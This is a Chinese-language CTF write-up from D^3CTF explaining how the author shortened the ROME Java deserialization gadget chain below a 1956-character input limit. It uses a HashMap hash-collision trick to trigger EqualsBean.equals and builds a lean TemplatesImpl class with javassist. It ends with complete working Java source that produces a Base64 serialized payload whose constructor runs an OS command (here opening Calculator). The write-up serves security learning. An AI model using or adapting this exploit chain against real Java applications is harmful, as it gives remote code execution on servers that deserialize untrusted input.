ROME改造计划
成果
从ysoserial原本的4000+缩短到1320(Base64+弹计算器)
写在前面
首先非常感谢这次的D^3CTF给我一次学习的机会,两个Java题都挺有意思学到了不同的东西,因为第二个比较简单就不分享了,这里分享一下如何去缩短ROME利用链,本身我也是之前没学习过ROME,这里以一个旁观者的视角来讲述好累,全篇没有各种高级技术不涉及ASM
的改造,仅仅只是一些Trick和利用链的精简,同时非常感谢我的同学@HolaAs以及我的朋友@风潇在我做题过程当中给我的帮助
简单分析
首先看看路由,很简单要求传入字符长度不超过1956
接下来免不了找依赖后面发现了ROME可以用,在ysoserial里面直接食用,可以惊讶的看到这里只有短短的4400那么“短”,痛!太痛了!
哎呀怎么办呢?既然要改造免不了需要先看看调用链
1234567891011121314151617 |
/** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * */ |
既然要改造我的思路是,先精简利用链,再减少细节
看到这里我能有个想法就是从调用readObject到tostring都能尝试类替换,最下层的个人感觉似乎没啥必要了,那直接再往上啰?
简单了解
很明显,既然要尝试去改造一条链子,那第一步就要去深入了解他!
这里就省去介绍ObjectBean
、ToStringBean
等类了百度都有,不做搬运工
先做个简单总结
- HashMap->readObject 触发 ObjectBean->hashCode
- 触发ObjectBean 内封装的 ObjectBean -> toString 方法,之后就可以触发利用链
也简单看看图啰
EqualsBean触发toString
紧接着com.sun.syndication.feed.impl.ToStringBean#toString(java.lang.String)
会调用所有 getter 方法,多提一嘴其实BeanIntrospector.getPropertyDescriptors
会获取所有getter/setter,但是下面有参数长度0那按照正常人代码就只剩getter了
因此最终通过触发getOutputProperties实现字节码加载
通常ysoserial更细节,会多很多细节,可能会更短,但不影响,这里我们简单按照逻辑写一下代码,加深理解
果然不出我所料更长了!
但这里主要是学习思路
改造
失败滴改造尝试
可以很明显的看到在这里有个触发toString的过程,那么很容易就能想到之前通过BadAttributeValueExpException
去触发toString
这件事,构造完后看看,哦寄了!属于是帮倒忙第一名了,拜拜再见不联系了嘞!
成功滴改造尝试
Step1–改造利用链
在之前的过程当中有个地方非常吸引我,com.sun.syndication.feed.impl.EqualsBean#equals
方法
可以看到equals
最终调用beanEquals
这不就和com.sun.syndication.feed.impl.ToStringBean#toString
很像么,但是如何能触发equals
方法呢
借用p牛的一句话,但是jdk7u21的场景不适合我们这里,原因请看p牛知识星球(打波广告p牛看到请给钱)
调用equals的场景就是集合set。set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
但是这个很明显并不适合我们这个场景(两个相同对象hashCode都一样了就不可能成功了,不多说自己想)
那还有啥利用么,当然有的,比如HashMap对key也有这个神奇的机制,
为了解决这个问题,我们抽丝剥茧慢慢来啰,下面的只是对后面做铺垫
先来个简单的场景,首先看下面这个代码
123456 |
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();objectObjectHashMap.put("aa","");objectObjectHashMap1.put("bB","");System.out.println(objectObjectHashMap.hashCode());System.out.println(objectObjectHashMap1.hashCode()); |
会觉得他们相同吗,答案很显然
为什么呢,可以看到,由于我们value为空其实就是比较key的hashCode了
123 |
public final int hashCode() { return Objects.hashCode(key) ^ Objects.hashCode(value);} |
对于一个String类型其hashCode,考虑两个元素的场景也就是31*val[0]+val[1]=31val[0]+val[1]
,因此第一个元素如果比第二个元素小1,第二个元素就必须比第一个元素大31
现在场景提升
1234 |
objectObjectHashMap.put("aa","1");objectObjectHashMap.put("bB","2");objectObjectHashMap1.put("aa","2");objectObjectHashMap1.put("bB","1"); |
仍然相等,对于这个场景里面有两个元素,它会调用父类的java.util.AbstractMap#hashCode
1234567 |
public int hashCode() { int h = 0; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h;} |
为了简化理解可以把上面的场景代码简化为(毕竟aa
与bB
相等),这样看是不是就很好理解了
1234 |
objectObjectHashMap.put("aa","1");objectObjectHashMap.put("aa","2");objectObjectHashMap1.put("aa","2");objectObjectHashMap1.put("aa","1"); |
有了这个基础,再次回到我们构造ROME的过程当中
现在我们已经知道了java.util.HashMap#putVal
在key的hashCode一致的时候会触发equals方法调用,但是此刻我们的代码的key是String类型调用了也没用啊,这里很巧的是在HashMap的equals方法当中,当对象大于1时会转而调用父类java.util.AbstractMap#equals
,可以很明显看到这里调用了value.equals
,同时这里我们需要将equals
的传参数改为TemplatesImpl
对象
那如何搞定呢,那就是把两个map的value颠倒一下具体为什么自己想想很简单(“aa”=>bean.quals(“aa”=>templates))这里=>
表示对应
1234 |
map1.put("aa",templates);map1.put("bB",bean);map2.put("aa",bean);map2.put("bB",templates); |
因此安这个思路我们可以得到
痛!太痛了!不过还是缩了一千多了?
仔细一想罪魁祸首就是Gadgets.createTemplatesImpl(command);
Step2–超级小Trick
那我们来看看这个ysoserial生成的类是啥样子
这里很多东西我们都可以改,啥serialVersionUID
、Pwner311912468728708
、等等这些都可以拿下
但是你以为这样就ok了,给大家看个骚的
没有trycatch
,没有实现抽象类的方法,这怎么实现的!!!
我们平时javac编译的时候,同样的代码都会报错
那上面这个咋搞的嘞,而且不报错,那就是javassist啰,不用ASM去操作好极了
现在再看看长度嘞,1324
小草莓坏笑
测试下嘞ok计算器来了,记得url编码一下哦!
最终代码
Rome.java
123456789101112131415161718192021222324252627282930313233343536373839 |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;import java.util.HashMap;import static sec.payload.Payload.setFieldValue;public class Rome {public static void main(String[] args) throws Exception {TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl();EqualsBean bean = new EqualsBean(String.class,"");HashMap map1 = new HashMap();HashMap map2 = new HashMap();map1.put("aa",templates);map1.put("bB",bean);map2.put("aa",bean);map2.put("bB",templates);HashMap map = new HashMap();map.put(map1,"");map.put(map2,"");setFieldValue(bean,"_beanClass",Templates.class);setFieldValue(bean,"_obj",templates);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(map);System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())).length());}} |
GetTemplatesImpl.java
12345678910111213141516171819202122232425 |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class GetTemplatesImpl { public static TemplatesImpl getTemplatesImpl() throws Exception{ byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); return templates; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }} |
GenerateEvilByJavaassist.java
12345678910111213141516171819 |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;public class GenerateEvilByJavaassist { public static byte[] generate() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); clazz.addConstructor(constructor); return clazz.toBytecode(); }} |
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论